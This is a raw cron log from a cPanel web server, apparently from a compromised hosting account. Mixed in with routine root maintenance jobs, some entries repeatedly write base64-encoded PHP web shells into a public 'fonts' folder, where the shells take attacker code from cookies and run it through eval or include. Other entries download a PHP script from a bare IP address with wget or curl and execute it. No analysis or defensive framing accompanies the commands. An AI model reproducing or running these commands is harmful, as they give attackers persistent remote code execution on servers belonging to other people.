Sep  6 04:59:01 ip-184-168-122-23 CROND[15899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:00:01 ip-184-168-122-23 CROND[16014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:00:01 ip-184-168-122-23 CROND[16016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:00:01 ip-184-168-122-23 CROND[16018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:00:01 ip-184-168-122-23 CROND[16020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:00:01 ip-184-168-122-23 CROND[16024]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:00:01 ip-184-168-122-23 CROND[16023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:00:01 ip-184-168-122-23 CROND[16026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:00:01 ip-184-168-122-23 CROND[16022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:01:01 ip-184-168-122-23 CROND[16121]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 05:01:01 ip-184-168-122-23 CROND[16122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:01:01 ip-184-168-122-23 CROND[16123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:01:01 ip-184-168-122-23 CROND[16127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:01:01 ip-184-168-122-23 CROND[16126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:01:01 ip-184-168-122-23 CROND[16129]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16121]: starting 0anacron
Sep  6 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16143]: finished 0anacron
Sep  6 05:02:01 ip-184-168-122-23 CROND[16217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:02:02 ip-184-168-122-23 CROND[16220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:02:02 ip-184-168-122-23 CROND[16222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:02:02 ip-184-168-122-23 CROND[16221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:02:02 ip-184-168-122-23 CROND[16219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:03:01 ip-184-168-122-23 CROND[16306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:03:01 ip-184-168-122-23 CROND[16305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:03:01 ip-184-168-122-23 CROND[16307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:03:01 ip-184-168-122-23 CROND[16311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:04:01 ip-184-168-122-23 CROND[16480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:04:01 ip-184-168-122-23 CROND[16483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:04:01 ip-184-168-122-23 CROND[16482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:04:01 ip-184-168-122-23 CROND[16484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:04:01 ip-184-168-122-23 CROND[16485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:05:01 ip-184-168-122-23 CROND[16642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:05:01 ip-184-168-122-23 CROND[16643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:05:01 ip-184-168-122-23 CROND[16645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:05:01 ip-184-168-122-23 CROND[16647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:05:01 ip-184-168-122-23 CROND[16648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:05:01 ip-184-168-122-23 CROND[16649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:05:01 ip-184-168-122-23 CROND[16651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:06:01 ip-184-168-122-23 CROND[16950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:06:01 ip-184-168-122-23 CROND[16952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:06:01 ip-184-168-122-23 CROND[16953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:06:01 ip-184-168-122-23 CROND[16954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:06:01 ip-184-168-122-23 CROND[16956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:07:01 ip-184-168-122-23 CROND[17042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:07:01 ip-184-168-122-23 CROND[17044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:07:01 ip-184-168-122-23 CROND[17045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:07:01 ip-184-168-122-23 CROND[17047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:08:01 ip-184-168-122-23 CROND[17129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:08:01 ip-184-168-122-23 CROND[17131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:08:01 ip-184-168-122-23 CROND[17130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:08:01 ip-184-168-122-23 CROND[17134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:08:01 ip-184-168-122-23 CROND[17132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:09:01 ip-184-168-122-23 CROND[17294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:09:01 ip-184-168-122-23 CROND[17295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:09:01 ip-184-168-122-23 CROND[17300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:09:01 ip-184-168-122-23 CROND[17299]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 05:09:01 ip-184-168-122-23 CROND[17298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:10:01 ip-184-168-122-23 CROND[17387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:10:01 ip-184-168-122-23 CROND[17389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:10:01 ip-184-168-122-23 CROND[17394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:10:01 ip-184-168-122-23 CROND[17392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:10:01 ip-184-168-122-23 CROND[17396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:10:01 ip-184-168-122-23 CROND[17393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:10:01 ip-184-168-122-23 CROND[17399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:10:01 ip-184-168-122-23 CROND[17395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:11:01 ip-184-168-122-23 CROND[17495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
